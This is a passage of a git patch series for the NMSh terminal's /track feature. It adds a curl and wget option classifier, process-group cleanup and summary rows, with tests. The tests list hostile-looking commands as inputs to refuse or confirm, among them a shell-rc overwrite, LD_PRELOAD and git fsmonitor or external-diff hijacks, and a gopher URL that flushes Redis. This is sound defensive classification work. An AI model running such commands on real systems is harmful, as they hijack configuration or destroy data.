/^([a-z][a-z0-9+.-]*):\/\//iu.exec(arg)?.[1]?.toLowerCase(); + if (scheme && scheme !== 'http' && scheme !== 'https') return confirm(`It uses ${scheme}://, which can send commands, not only read.`); + if (arg.startsWith('--')) { + const equals = arg.indexOf('='); + const option = equals === -1 ? arg : arg.slice(0, equals); + const value = equals === -1 ? args[at + 1] : arg.slice(equals + 1); + if (/^--(?:data|form|upload-file|json|remote-name|remote-header-name|output-dir|create-dirs|cookie-jar|config|trace|libcurl|etag-save|hsts|alt-svc|mail-|quote|post30)/u.test(option)) { + return confirm(`It sends data or saves files (${option}).`); + } + if (option === '--request' && !/^(?:GET|HEAD)$/iu.test(value ?? '')) return confirm(`It sends ${value ?? 'other'} requests.`); + if ((option === '--output' || option === '--dump-header') && !standardStream(value)) return confirm(`It saves files (${option}).`); + continue; + } + if (!/^-[^-]/u.test(arg)) continue; + for (let index = 1; index < arg.length; index += 1) { + const letter = arg[index]!; + if ('dFTJOKQ'.includes(letter)) return confirm(`It sends data or saves files (-${letter}).`); + if (!CURL_VALUE.has(letter)) continue; + const value = index + 1 < arg.length ? arg.slice(index + 1) : args[at + 1]; + if (letter === 'X' && !/^(?:GET|HEAD)$/iu.test(value ?? '')) return confirm(`It sends ${value ?? 'other'} requests.`); + if ('oDc'.includes(letter) && !standardStream(value)) return confirm(`It saves files (-${letter}).`); + if (index + 1 >= arg.length) at += 1; + break; + } + } + return undefined; +} + +function wgetRisk(args: readonly string[]): RepeatRisk | undefined { + let toOutput = false; + for (let at = 0; at < args.length; at += 1) { + const arg = args[at]!; + if (arg.startsWith('--')) { + const equals = arg.indexOf('='); + const option = equals === -1 ? arg : arg.slice(0, equals); + const value = equals === -1 ? args[at + 1] : arg.slice(equals + 1); + if (option === '--spider') toOutput = true; + else if (option === '--output-document') toOutput = standardStream(value); + else if (/^--(?:post-|body-|method|recursive|mirror|page-requisites|convert-links|timestamping|continue|force-directories|save-cookies|warc-|backups)/u.test(option)) return confirm(`It sends data or saves files (${option}).`); + else if (/^--(?:output-file|append-output)$/u.test(option) && !standardStream(value)) return confirm(`It writes a log file (${option}).`); + continue; + } + if (!/^-[^-]/u.test(arg)) continue; + for (let index = 1; index < arg.length; index += 1) { + const letter = arg[index]!; + if ('rmpkNxc'.includes(letter)) return confirm(`It saves files (-${letter}).`); + if (!WGET_VALUE.has(letter)) continue; + const value = index + 1 < arg.length ? arg.slice(index + 1) : args[at + 1]; + if (letter === 'O') toOutput = standardStream(value); + if ('oa'.includes(letter) && !standardStream(value)) return confirm(`It writes a log file (-${letter}).`); + if (index + 1 >= arg.length) at += 1; + break; + } + } + return toOutput ? undefined : confirm('It saves what it downloads to a file every interval.'); +} + +/** + * Whether a network command reaches beyond this computer: only loopback targets are local. Registries and git + * remotes are remote; a command whose target NMSh cannot find is treated as remote. + */ +export function reachesRemote(text: string, kinds: readonly PasteKind[]): boolean { + const {name, args} = parts(text); + if (/^(?:npx|pnpx|bunx)$/u.test(name)) return false; + if (PACKAGE_MANAGERS.has(name) || name === 'git' || name === 'gh') return kinds.includes('network'); + const hosts: string[] = []; + for (const arg of args) { + if (arg.startsWith('-')) continue; + const url = /^[a-z][a-z0-9+.-]*:\/\/(?:[^@/]*@)?(\[[^\]]*\]|[^:/?#]*)/iu.exec(arg); + if (url) { hosts.push(url[1] ?? ''); continue; } + const host = /^@?(?:[^@\s]+@)?(\[[0-9a-fA-F:]+\]|[A-Za-z0-9-]+(?:\.[A-Za-z0-9-]+)*)(?::\S*)?$/u.exec(arg)?.[1]; + if (host && !/^\d+(?:\.\d+)?$/u.test(host)) hosts.push(host); + } + return !hosts.length || hosts.some(host => !LOOPBACK.test(host.replace(/^\[|\]$/gu, '').toLowerCase())); +} diff --git a/tests/trackSafety.test.ts b/tests/trackSafety.test.ts new file mode 100644 index 00000000..4eb97d26 --- /dev/null +++ b/tests/trackSafety.test.ts @@ -0,0 +1,66 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {classifyCommand, splitCommands, writesFiles} from '../src/input/pasteGuard.js'; +import {watchSafety} from '../src/tasks/WatchTasks.js'; + +const kind = (command: string) => watchSafety(command).kind; +const remote = (command: string) => { const safety = watchSafety(command); return safety.kind === 'refused' ? undefined : safety.remote; }; + +test('a redirect into a file is a write even when /dev/null appears elsewhere (paste review and /track)', () => { + for (const command of ['echo pwned > ~/.zshrc 2>/dev/null', 'ls 2>/dev/null >out', 'echo x >/dev/null >out', 'ls >| out', 'ls >&out', 'ls <>out', 'ls &>out', 'ls 1>>log']) { + assert.ok(writesFiles(command), command); + assert.ok(splitCommands(command).some(part => classifyCommand(part.text, part.pipedFrom).includes('modifies')), `paste review: ${command}`); + assert.equal(kind(command), 'refused', command); + } + for (const command of ['ls >/dev/null', 'ls 2>/dev/null', 'npm test 2>&1', 'ls >&2', 'ls 2>&1 | tail -5', 'ls &>/dev/null', 'echo "a > b"', "echo 'x >y'", 'echo a\\>b', 'ls >&-']) { + assert.ok(!writesFiles(command), command); + assert.notEqual(kind(command), 'refused', command); + } + assert.deepEqual(splitCommands('ls >| out').map(part => part.text), ['ls >| out'], '>| is a redirection, not a pipe'); +}); + +test('/track asks before a command that runs another command or changes its environment', () => { + for (const command of ['env rm -rf /tmp/x', 'env -i rm -rf x', 'env -u HOME rm x', 'env -- rm x', 'env FOO=1 df', 'env -S "rm x"', 'FOO=1 df', 'LD_PRELOAD=/tmp/x.so df', + 'GIT_EXTERNAL_DIFF=/tmp/x git diff', 'git -c core.fsmonitor=/tmp/x status', 'git --config-env=core.pager=X log', 'git --exec-path=/tmp status', 'git diff --ext-diff']) { + assert.equal(kind(command), 'confirm', command); + } + for (const command of ['env', 'env | grep PATH', 'env -0', 'printenv HOME', 'git status', 'git -C sub status', 'git log --oneline -5', 'git log -c -1', 'git diff --stat', 'df -h']) { + assert.equal(kind(command), 'allowed', command); + } +}); + +test('/track refuses options that write files, update what they check, never finish, or power off', () => { + for (const command of ['git log --output=x', 'git diff --output x.patch', 'git show --output=f HEAD', 'sort -o out in', 'sort -no out in', 'sort --output=out in', + 'find . -fprint out', 'find . -fls out', 'find . -okdir rm {} ;', 'tree -o out', 'yq -i .a=1 f.yaml', 'npx jest -u', 'npx vitest run -u', 'npm test -- -u', + 'npm run lint -- --fix', 'npx prettier --write .', 'pytest --snapshot-update', 'npx jest --watch', 'scp host:a b', 'rsync -a a b', + 'shutdown now', 'reboot', '/sbin/halt', 'poweroff', 'systemctl reboot', 'launchctl reboot', 'init 0']) { + assert.equal(kind(command), 'refused', command); + } + for (const command of ['sort file', 'sort -n -k2 file', 'find . -name x', 'tree -L 2', 'npx jest', 'npm test', 'npm run lint', 'npx eslint --fix-dry-run .', 'rsync -an a b']) { + assert.notEqual(kind(command), 'refused', command); + } +}); + +test('/track starts only read-only network probes at once; sending, saving, signing in or running packages asks first', () => { + for (const command of ['ping -c1 localhost', 'curl -s http://localhost:3000/health', 'curl -fsSL http://127.0.0.1:8080/', 'curl -s -o /dev/null -w "%{http_code}" http://localhost/', + 'curl -X HEAD http://localhost/', 'wget -qO- http://localhost/x', 'wget -O - http://localhost/x', 'wget --spider http://localhost/', 'nc -z localhost 5432', 'nc -zv localhost 80', + 'dig example.com', 'npm view react version', 'npm outdated', 'npm audit', 'git ls-remote origin']) { + assert.equal(kind(command), 'allowed', command); + } + for (const command of ['curl -X POST http://localhost:3000/x', 'curl -d a=1 http://localhost/x', 'curl --data-binary @f http://localhost/x', 'curl --json {} http://localhost/', + 'curl -o out http://localhost/x', 'curl -sSLo out http://localhost/x', 'curl -O http://localhost/x', 'curl -T f http://localhost/', 'curl -K cfg http://localhost/', 'curl -c jar http://localhost/', + 'curl --request=DELETE http://localhost/x', 'curl gopher://localhost:6379/_FLUSHALL', 'wget http://localhost/x', 'wget -O page http://localhost/x', 'wget -r http://localhost/', + 'http POST localhost:3000', 'ssh host uptime', 'ssh host rm -rf x', 'sftp host', 'telnet host', 'nc localhost 80', 'git fetch', + 'npm publish', 'pnpm publish', 'npm login', 'npm logout', 'npm audit fix', 'npm x cowsay', 'pnpm dlx cowsay', 'bun x cowsay']) { + assert.equal(kind(command), 'confirm', command); + } +}); + +test('/track treats a network target as remote unless it is this computer', () => { + for (const command of ['ping -c 3 -i 0.2 localhost', 'curl -s http://localhost:3000/health', 'curl localhost:3000/health', 'nc -z 127.0.0.1 5432', 'curl -s http://[::1]:8080/']) { + assert.equal(remote(command), false, command); + } + for (const command of ['ping -c1 8.8.8.8', 'ping nas', 'dig @1.1.1.1 example.com', 'curl -s https://example.com/health', 'ssh host uptime', 'npm outdated', 'git fetch', 'curl -s']) { + assert.equal(remote(command), true, command); + } +}); From b4eb409758ae8af74c013e00f83c16d6a6b0a170 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 16:41:53 +0530 Subject: [PATCH 025/157] /track: a sample's leftover processes never outlive it; refresh event after wiring - When a sample's shell exits, the close handler cancelled the KILL fallback even if other members of its process group were still running. A child that ignored TERM and closed its output survived `/track stop` (verified with a pid probe; the new test fails without the fix), and a stray process left by a finished sample piled up on every refresh. On close, anything still in the group now gets TERM, then KILL after the grace period; that timer keeps a closing window alive for at most the grace period so nothing is left behind. - #420's refresh-start event now fires after the sample's handlers are attached, so a listener that throws cannot leave a child without them. - A tracker whose directory disappeared said `spawn /bin/sh ENOENT`; it now names the directory and keeps trying at its interval. Refs #393, #416, #420 --- src/tasks/WatchTasks.ts | 33 +++++++++++++++++++++++++++++---- tests/track.test.ts | 34 ++++++++++++++++++++++++++++++++-- 2 files changed, 61 insertions(+), 6 deletions(-) diff --git a/src/tasks/WatchTasks.ts b/src/tasks/WatchTasks.ts index 0f5617f7..9503efd9 100644 --- a/src/tasks/WatchTasks.ts +++ b/src/tasks/WatchTasks.ts @@ -1,4 +1,5 @@ import {spawn, type ChildProcess} from 'node:child_process'; +import {statSync} from 'node:fs'; import {StringDecoder} from 'node:string_decoder'; import {classifyCommand, maskQuoted, splitCommands, writesFiles, type PasteKind} from '../input/pasteGuard.js'; import {reachesRemote, repeatRisk} from './repeatSafety.js'; @@ -27,6 +28,7 @@ export const MAX_ACTIVE_WATCHES = 8; const MAX_COMMAND = 4096; const MAX_OUTPUT = 200_000; const STOP_GRACE_MS = 1500; +const isDirectory = (path: string) => { try { return statSync(path).isDirectory(); } catch { return false; } }; export function watchSafety(command: string): WatchSafety { if (!command.trim() || command.length > MAX_COMMAND || /[\u0000-\u001f\u007f]/u.test(command)) { @@ -147,6 +149,8 @@ export class WatchTasks { private readonly timers = new Map(); private readonly children = new Map(); private readonly killTimers = new Map(); + /** KILL escalations for leftovers of finished samples (see endStragglers); never cleared early. */ + private readonly stragglers = new Set(); private readonly listeners = new Set<(watch: WatchTask, transition?: 'pass' | 'fail') => void>(); /** @@ -210,9 +214,6 @@ export class WatchTasks { return true; } this.children.set(id, child); - // Notify the presenter when a refresh begins, not only when it completes: - // a slow sample must be shown as refreshing while its previous result stays visible. - this.emit(watch); const take = (decoder: StringDecoder, chunk: Buffer) => { const kept = Math.min(chunk.length, Math.max(0, MAX_OUTPUT - receivedBytes)); if (kept) { receivedBytes += kept; output += decoder.write(chunk.subarray(0, kept)); } @@ -230,13 +231,17 @@ export class WatchTasks { child.stderr?.destroy(); }, Math.min(60_000, watch.intervalMs * 3)); limit.unref(); - child.on('error', error => { spawnError = String(error); }); + child.on('error', error => { + // Node names the shell when the working directory is what is missing; say which one it is. + spawnError = (error as NodeJS.ErrnoException).code === 'ENOENT' && !isDirectory(watch.cwd) ? `the directory ${watch.cwd} is no longer available` : String(error); + }); // Only 'close' guarantees the captured stdio has finished, unlike 'exit'. child.on('close', (code, signal) => { clearTimeout(limit); const killTimer = this.killTimers.get(id); if (killTimer) clearTimeout(killTimer); this.killTimers.delete(id); + this.endStragglers(child); if (this.children.get(id) !== child) return; this.children.delete(id); output += stdoutDecoder.end() + stderrDecoder.end(); @@ -246,9 +251,29 @@ export class WatchTasks { ...(spawnError ? {error: stripTerminalControls(spawnError, 300)} : {}), ...(signal ? {signal} : {})}); }); + // The presenter shows `refreshing…` over the previous result from now on; told only once the sample is wired, so + // a listener that throws cannot leave a child without its handlers. + this.emit(watch); return true; } + /** + * A finished sample's process group must be empty: anything left (a child that ignored TERM, or one that closed its + * output and kept running) outlived its sample and would pile up on every refresh. End it with TERM, then KILL after + * the grace period. The KILL timer keeps the window alive that long when it is closing, so nothing is left behind. + */ + private endStragglers(child: ChildProcess): void { + const group = child.pid; + if (!group) return; + try { process.kill(-group, 0); } catch { return; } + try { process.kill(-group, 'SIGTERM'); } catch { return; } + const timer = setTimeout(() => { + this.stragglers.delete(timer); + try { process.kill(-group, 'SIGKILL'); } catch { /* already gone */ } + }, STOP_GRACE_MS); + this.stragglers.add(timer); + } + private signalGroup(child: ChildProcess, signal: NodeJS.Signals): void { if (!child.pid) return; try { process.kill(-child.pid, signal); } diff --git a/tests/track.test.ts b/tests/track.test.ts index 6402cadf..20f77c7e 100644 --- a/tests/track.test.ts +++ b/tests/track.test.ts @@ -1,6 +1,6 @@ import test from 'node:test'; import assert from 'node:assert/strict'; -import {mkdtempSync, rmSync} from 'node:fs'; +import {mkdtempSync, readFileSync, rmSync} from 'node:fs'; import {tmpdir} from 'node:os'; import {join} from 'node:path'; import {parseSlashCommand} from '../src/commands/slashCommands.js'; @@ -188,7 +188,7 @@ test('/track fails visibly when the command or working directory is unavailable' {kind: 'allowed', network: false, remote: false}); await waitFor(() => missingCwd.runs === 1); assert.notEqual(missingCwd.current?.exitCode, 0, 'invalid cwd cannot be a successful refresh'); - assert.match(missingCwd.current?.error ?? '', /ENOENT|spawn/u); + assert.equal(missingCwd.current?.error, `the directory ${join(cwd, 'not-here')} is no longer available`, 'names the directory, not the shell'); assert.equal(engine.active().length, 2); } finally { engine.dispose(); @@ -196,6 +196,36 @@ test('/track fails visibly when the command or working directory is unavailable' } }); +test('/track ends what a sample leaves in its process group: after stop, and after a sample that finished', async () => { + const cwd = mkdtempSync(join(tmpdir(), 'nmsh-track-orphans-')); + const engine = new WatchTasks('/bin/sh'); + const alive = (pid: number) => { try { process.kill(pid, 0); return true; } catch { return false; } }; + // A child that ignores TERM and closes its output: the shell that started it can end while it keeps running. + const stubborn = (name: string) => `sh -c 'trap "" TERM; echo $$ > ${name}; exec >/dev/null 2>&1; exec sleep 30'`; + const pidOf = async (name: string) => { + let pid = 0; + await waitFor(() => { try { pid = Number(readFileSync(join(cwd, name), 'utf8').trim()); } catch { /* not yet */ } return pid > 0; }); + return pid; + }; + try { + const stopped = engine.start(`${stubborn('stopped.pid')}; echo done`, cwd, 5000, {kind: 'allowed', network: false, remote: false}); + const stoppedPid = await pidOf('stopped.pid'); + assert.ok(alive(stoppedPid)); + assert.equal(engine.stop(stopped.id), true); + await waitFor(() => !alive(stoppedPid), 6000); + + const finished = engine.start(`${stubborn('finished.pid')} & echo started`, cwd, 5000, {kind: 'allowed', network: false, remote: false}); + await waitFor(() => finished.runs === 1, 6000); + assert.match(finished.current?.output ?? '', /started/u); + assert.equal(finished.current?.exitCode, 0, 'the sample itself finished normally'); + const finishedPid = await pidOf('finished.pid'); + await waitFor(() => !alive(finishedPid), 6000); + } finally { + engine.dispose(); + rmSync(cwd, {recursive: true, force: true}); + } +}); + test('/track confirmation refuses clipped small-terminal review', () => { const confirm = {command: 'unknown status-command', cwd: '/tmp', intervalMs: 5000, reason: 'Unknown command', choice: 'no' as const}; const rows = renderWatchPanel({selected: 0, output: false, confirm}, [], 30, Date.now(), 6); From 4cdf9712ba31f2b1d8c4e32e3343891e4ee6970c Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 16:42:38 +0530 Subject: [PATCH 026/157] /track: one summary row for many trackers, Safe-glyph marks, cached result rows MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Above the composer each active tracker had its own row, repeating its block's status; eight trackers took eight rows. More than two now share one summary row (`4 trackers · 1 failing · /track opens the manager`). - The state marks (◉ ■ ‖ ◌) ignored Safe glyphs; they now use ASCII there, in the block and the manager. - Live rows split and sanitized the whole 200 kB result on every frame (1–3 ms per frame with eight large trackers); the first rows and line count are now computed once per result (~0.5 ms). - The confirmation for an unknown /track command says "Track …?", not "Watch …?". - Live PTY tests: four trackers at once (slow, failing, missing command, large output) with `refreshing…`, a resize and `/track stop all` ending every process; Bash and Fish trackers finding a PATH change made after startup. Refs #393, #416, #420 --- src/app/TerminalApp.ts | 4 +- src/tasks/WatchPanel.ts | 14 ++++++- src/tasks/trackBlock.ts | 37 ++++++++++++++----- tests/track.test.ts | 22 ++++++++++- tests/trackLive.test.ts | 81 ++++++++++++++++++++++++++++++++++++++++- 5 files changed, 142 insertions(+), 16 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 2564a507..9dd9eec2 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -269,7 +269,7 @@ import {ManagedTasks} from '../tasks/ManagedTasks.js'; import {CursorPresenter} from '../cursor/CursorPresenter.js'; import {runDoctor} from '../doctor/doctor.js'; import {parseWatch, watchSafety, WatchTasks, type WatchSafety} from '../tasks/WatchTasks.js'; -import {renderWatchPanel, watchPanelKey, watchRow, type WatchPanelState} from '../tasks/WatchPanel.js'; +import {renderWatchPanel, watchNoticeRows, watchPanelKey, type WatchPanelState} from '../tasks/WatchPanel.js'; import {finalResultRows, trackBlockRows} from '../tasks/trackBlock.js'; import {explainModules, moduleTimings} from '../prompt/moduleReport.js'; import {analyzePaste, KIND_LABELS, needsPreview, PASTE_EXACT_NOTE, pasteHeader, primaryKind, type PasteAnalysis, nmshCommandNote} from '../input/pasteGuard.js'; @@ -8100,7 +8100,7 @@ export class TerminalApp { const now = Date.now(); const suggestion = this.clipboardChangeSuggested && !this.running && this.clipboardChangeWatch?.enabled ? [truncateAnsi(`${SUBTLE}Clipboard changed · /ps reads it for review${RESET}`, columns)] : []; - const rows = [...this.clipboardRows(columns), ...suggestion, ...this.sessionNoticeRows(columns), ...this.taskRows(columns), ...this.watches.active().map(watch => truncateAnsi(watchRow(watch, now), columns)), ...this.pastePreviewRows(columns)]; + const rows = [...this.clipboardRows(columns), ...suggestion, ...this.sessionNoticeRows(columns), ...this.taskRows(columns), ...watchNoticeRows(this.watches.active(), now).map(row => truncateAnsi(row, columns)), ...this.pastePreviewRows(columns)]; const background = this.backgroundRows(columns); return shelf ? [...rows, ...background, shelf] : [...rows, ...background]; } diff --git a/src/tasks/WatchPanel.ts b/src/tasks/WatchPanel.ts index fae7ff3d..fa7b0d15 100644 --- a/src/tasks/WatchPanel.ts +++ b/src/tasks/WatchPanel.ts @@ -3,6 +3,7 @@ import {renderControls} from '../ui/controls.js'; import {GLYPHS} from '../ui/glyphs.js'; import {foreground, UI_COLORS} from '../ui/palette.js'; import {truncateAnsi} from '../util/text.js'; +import {trackMark} from './trackBlock.js'; import type {WatchTask} from './WatchTasks.js'; /** /track and /watch share one live snapshot view: no duplicated transcript output. */ @@ -50,12 +51,21 @@ export function watchRow(watch: WatchTask, now: number): string { const secondary = foreground(UI_COLORS.secondary); const reset = '\u001b[0m'; const state = watch.current ? (watch.current.exitCode === 0 && !watch.current.timedOut && !watch.current.error ? foreground(UI_COLORS.success) : foreground(UI_COLORS.failure)) : subtle; - const mark = watch.status === 'paused' ? '‖' : '◉'; + const mark = trackMark(watch.status === 'paused' ? 'paused' : 'live'); const last = watch.current ? ` · updated ${ago(Math.max(0, now - watch.current.at - watch.current.durationMs))} ago · ${runStatus(watch.current)}` : ' · first run pending'; return `${state}${mark}${reset} ${secondary}Track · ${watch.command.slice(0, 40)}${reset}${subtle} · every ${formatEvery(watch.intervalMs)}${watch.summary ? ` · ${watch.summary}` : ''}` + `${watch.changes.length ? ' · changed' : ''} · runs ${watch.runs}${watch.status === 'paused' ? ' · paused' : last}${reset}`; } +/** The rows above the composer for active watches: one each for up to two, else one summary (each /track block and the manager show the rest). */ +export function watchNoticeRows(watches: readonly WatchTask[], now: number): string[] { + if (watches.length <= 2) return watches.map(watch => watchRow(watch, now)); + const failing = watches.filter(watch => watch.current && (watch.current.exitCode !== 0 || watch.current.timedOut || watch.current.error)).length; + const paused = watches.filter(watch => watch.status === 'paused').length; + const parts = [`${watches.length} trackers`, ...(failing ? [`${failing} failing`] : []), ...(paused ? [`${paused} paused`] : []), '/track opens the manager']; + return [`${foreground(failing ? UI_COLORS.failure : UI_COLORS.success)}${trackMark('live')}\u001b[0m ${foreground(UI_COLORS.secondary)}${parts.join(' · ')}\u001b[0m`]; +} + export function renderWatchPanel(state: WatchPanelState, watches: readonly WatchTask[], columns: number, now: number, rowsAvailable: number): string[] { const primary = foreground(UI_COLORS.primary); const secondary = foreground(UI_COLORS.secondary); @@ -69,7 +79,7 @@ export function renderWatchPanel(state: WatchPanelState, watches: readonly Watch `${secondary} Confirmation is disabled at this size. Esc cancels.${reset}`].map(row => truncateAnsi(row, columns)); } const yes = state.confirm.choice === 'yes'; - rows.push('', ` ${primary}Watch ${state.confirm.command}?${reset}`, ` ${secondary}${state.confirm.reason}${reset}`, + rows.push('', ` ${primary}${state.confirm.track ? 'Track' : 'Watch'} ${state.confirm.command}?${reset}`, ` ${secondary}${state.confirm.reason}${reset}`, ` ${subtle}It runs in ${state.confirm.cwd}, every ${formatEvery(state.confirm.intervalMs ?? 5000)}, until you stop it.${reset}`, '', ` ${!yes ? `${accent}${GLYPHS.selection} No${reset}` : `${subtle} No${reset}`} ${yes ? `${accent}${GLYPHS.selection} Yes${reset}` : `${subtle} Yes${reset}`}`, '', renderControls([['←→', 'choose'], ['Enter', 'confirm'], ['Esc', 'cancel']])); diff --git a/src/tasks/trackBlock.ts b/src/tasks/trackBlock.ts index 07df7446..74bdf048 100644 --- a/src/tasks/trackBlock.ts +++ b/src/tasks/trackBlock.ts @@ -1,5 +1,6 @@ import {displaySafe} from '../input/PasteReview.js'; import {colorLevel} from '../presentation/capabilities.js'; +import {getCurrentGlyphMode} from '../ui/glyphs.js'; import {foreground, UI_COLORS} from '../ui/palette.js'; import {truncateAnsi, truncateText} from '../util/text.js'; import type {WatchRun, WatchTask} from './WatchTasks.js'; @@ -14,6 +15,10 @@ import type {WatchRun, WatchTask} from './WatchTasks.js'; export const MAX_TRACK_ROWS = 12; const RESET = '\u001b[0m'; +/** A tracker's state mark; Safe glyphs use ASCII. */ +const MARKS = {live: ['◉', '*'], stopped: ['■', '#'], paused: ['‖', '='], pending: ['◌', 'o']} as const; +export const trackMark = (state: keyof typeof MARKS): string => MARKS[state][getCurrentGlyphMode() === 'nerd' ? 0 : 1]; + const clock = (at: number) => new Date(at).toLocaleTimeString('en-GB', {hour12: false}); const every = (ms: number) => ms % 60_000 === 0 ? `${ms / 60_000}m` : `${Math.round(ms / 100) / 10}s`; const span = (ms: number) => ms < 60_000 ? `${Math.round(ms / 1000)}s` : `${Math.floor(ms / 60_000)}m ${Math.round((ms % 60_000) / 1000)}s`; @@ -35,10 +40,10 @@ export function trackStatus(watch: WatchTask, now: number, sampling: boolean): s const parts: string[] = []; let mark: string; let role: keyof typeof UI_COLORS = 'subtle'; - if (watch.status === 'stopped') { mark = '■'; parts.push('stopped'); } - else if (watch.status === 'paused') { mark = '‖'; parts.push('paused'); } - else if (!run) { mark = '◌'; parts.push(sampling ? 'first run…' : 'first run pending'); } - else { mark = '◉'; role = outcome!.ok ? 'success' : 'failure'; parts.push('live'); } + if (watch.status === 'stopped') { mark = trackMark('stopped'); parts.push('stopped'); } + else if (watch.status === 'paused') { mark = trackMark('paused'); parts.push('paused'); } + else if (!run) { mark = trackMark('pending'); parts.push(sampling ? 'first run…' : 'first run pending'); } + else { mark = trackMark('live'); role = outcome!.ok ? 'success' : 'failure'; parts.push('live'); } parts.push(`every ${every(watch.intervalMs)}`); if (run && outcome) parts.push(`updated ${clock(finished!)}`, outcome.text); if (run?.truncated) parts.push('output cut at 200 kB'); @@ -48,22 +53,34 @@ export function trackStatus(watch: WatchTask, now: number, sampling: boolean): s return `${paint(role)}${mark}${RESET} ${paint('secondary')}${parts.join(' · ')}${RESET}`; } +/** A result's first rows (inert, cut far past any terminal width) and its line count: once per result, not per frame. */ +const resultCache = new WeakMap(); +function resultLines(run: WatchRun): {head: string[]; total: number} { + let cached = resultCache.get(run); + if (!cached) { + const lines = run.output.replace(/\n$/u, '').split('\n'); + cached = {head: lines.slice(0, MAX_TRACK_ROWS).map(line => displaySafe(line.slice(0, 4096))), total: lines.length}; + resultCache.set(run, cached); + } + return cached; +} + export function trackBlockRows(watch: WatchTask | undefined, width: number, now: number, reserved: number, sampling = false): {rows: string[]; reserved: number} { const color = colorLevel() !== 'none'; const subtle = color ? foreground(UI_COLORS.subtle) : ''; const fit = (text: string) => truncateText(text, Math.max(1, width - 4)); - if (!watch) return {rows: [` ${subtle}■ not running: trackers stop with the window that started them${RESET}`], reserved: 0}; + if (!watch) return {rows: [` ${subtle}${trackMark('stopped')} not running: trackers stop with the window that started them${RESET}`], reserved: 0}; const status = truncateAnsi(` ${trackStatus(watch, now, sampling)}`, width); // Stopped by the person: the final result was written into the transcript; the live rows end here. if (watch.status === 'stopped') return {rows: [status], reserved: 0}; - const lines = watch.current ? watch.current.output.replace(/\n$/u, '').split('\n') : []; - const height = Math.max(reserved, Math.min(MAX_TRACK_ROWS, Math.max(1, lines.length))); + const {head, total} = watch.current ? resultLines(watch.current) : {head: [], total: 0}; + const height = Math.max(reserved, Math.min(MAX_TRACK_ROWS, Math.max(1, total))); const body: string[] = []; if (!watch.current) body.push(` ${subtle}waiting for the first result…${RESET}`); else { - const take = lines.length > height ? height - 1 : lines.length; - for (const line of lines.slice(0, take)) body.push(` ${fit(displaySafe(line))}`); - if (take < lines.length) body.push(` ${subtle}${fit(`… ${lines.length - take} more lines · /track copy copies them all`)}${RESET}`); + const take = total > height ? height - 1 : total; + for (const line of head.slice(0, take)) body.push(` ${fit(line)}`); + if (take < total) body.push(` ${subtle}${fit(`… ${total - take} more lines · /track copy copies them all`)}${RESET}`); } while (body.length < height) body.push(''); return {rows: [status, ...body], reserved: height}; diff --git a/tests/track.test.ts b/tests/track.test.ts index 20f77c7e..83abf4fe 100644 --- a/tests/track.test.ts +++ b/tests/track.test.ts @@ -5,7 +5,8 @@ import {tmpdir} from 'node:os'; import {join} from 'node:path'; import {parseSlashCommand} from '../src/commands/slashCommands.js'; import {parseWatch, watchSafety, WatchTasks, MIN_LOCAL_MS} from '../src/tasks/WatchTasks.js'; -import {renderWatchPanel, watchPanelKey, watchRow} from '../src/tasks/WatchPanel.js'; +import {renderWatchPanel, watchNoticeRows, watchPanelKey, watchRow} from '../src/tasks/WatchPanel.js'; +import {setIconStyle} from '../src/ui/glyphs.js'; import {stripAnsi} from '../src/util/text.js'; function waitFor(predicate: () => boolean, timeoutMs = 5000): Promise { @@ -257,6 +258,14 @@ test('track status says only what is known: pending, live, failed, timed out, pa assert.match(plain(task({current: run('ok'), runs: 1}), 2_000, true), /refreshing…/u); assert.match(plain(task({current: run('ok', {truncated: true}), runs: 1})), /output cut at 200 kB/u); assert.match(plain(task({current: run('ok'), status: 'stopped', runs: 4})), /^■ stopped/u); + setIconStyle('safe'); + try { + assert.match(plain(task()), /^o first run pending/u, 'Safe glyphs: ASCII marks'); + assert.match(plain(task({current: run('ok'), runs: 1})), /^\* live/u); + assert.match(plain(task({current: run('ok'), status: 'paused', runs: 1})), /^= paused/u); + assert.match(plain(task({current: run('ok'), status: 'stopped', runs: 4})), /^# stopped/u); + assert.match(stripAnsi(watchRow(task({current: run('ok'), status: 'paused', runs: 1}), 2_000)), /^= Track/u); + } finally { setIconStyle('nerd'); } }); test('the live result keeps a stable height: shorter results pad, longer ones say how much is not shown; text is inert', () => { @@ -295,3 +304,14 @@ test('the block: stored lines once, live rows replaced in place under them, neve buffer.clearPresentation(); assert.equal(buffer.wrapped(80).some(row => row.derived), false); }); + +test('above the composer: one row per tracker for up to two, then one summary row', () => { + const one = task({current: run('ok'), runs: 1}); + const failing = task({id: 'w2', current: run('no', {exitCode: 2}), runs: 1}); + const paused = task({id: 'w3', current: run('ok'), status: 'paused', runs: 1}); + assert.equal(watchNoticeRows([one, failing], 2_000).length, 2); + const summary = watchNoticeRows([one, failing, paused, task({id: 'w4'})], 2_000); + assert.equal(summary.length, 1); + assert.equal(stripAnsi(summary[0]!), '◉ 4 trackers · 1 failing · 1 paused · /track opens the manager'); + assert.deepEqual(watchNoticeRows([], 2_000), []); +}); diff --git a/tests/trackLive.test.ts b/tests/trackLive.test.ts index dcf5c600..5fc630ba 100644 --- a/tests/trackLive.test.ts +++ b/tests/trackLive.test.ts @@ -2,7 +2,8 @@ import test from 'node:test'; import assert from 'node:assert/strict'; import {chmodSync, existsSync, mkdirSync, readFileSync, writeFileSync} from 'node:fs'; import {join} from 'node:path'; -import {LiveSandbox, until} from './helpers/liveFrontend.js'; +import {LiveSandbox, processAlive, until} from './helpers/liveFrontend.js'; +import {shellAdapter} from '../src/shell/adapters/registry.js'; /** /track through the real composer and PTY: the live result updates on screen, copy and stop work, history is not spammed. */ const supported = process.platform === 'darwin' || process.platform === 'linux'; @@ -45,3 +46,81 @@ test('live: /track refreshes one result in place, /track copy copies it, /track assert.equal(text.includes('alpha-1'), false, 'earlier refreshes are never stored'); } finally { await sandbox.dispose(); } }); + +test('live: several trackers at once (slow, failing, missing, large), resized, then /track stop all ends them and their processes', {skip: supported ? false : 'unsupported platform', timeout: 180_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'zsh'}); + const home = sandbox.home; + const script 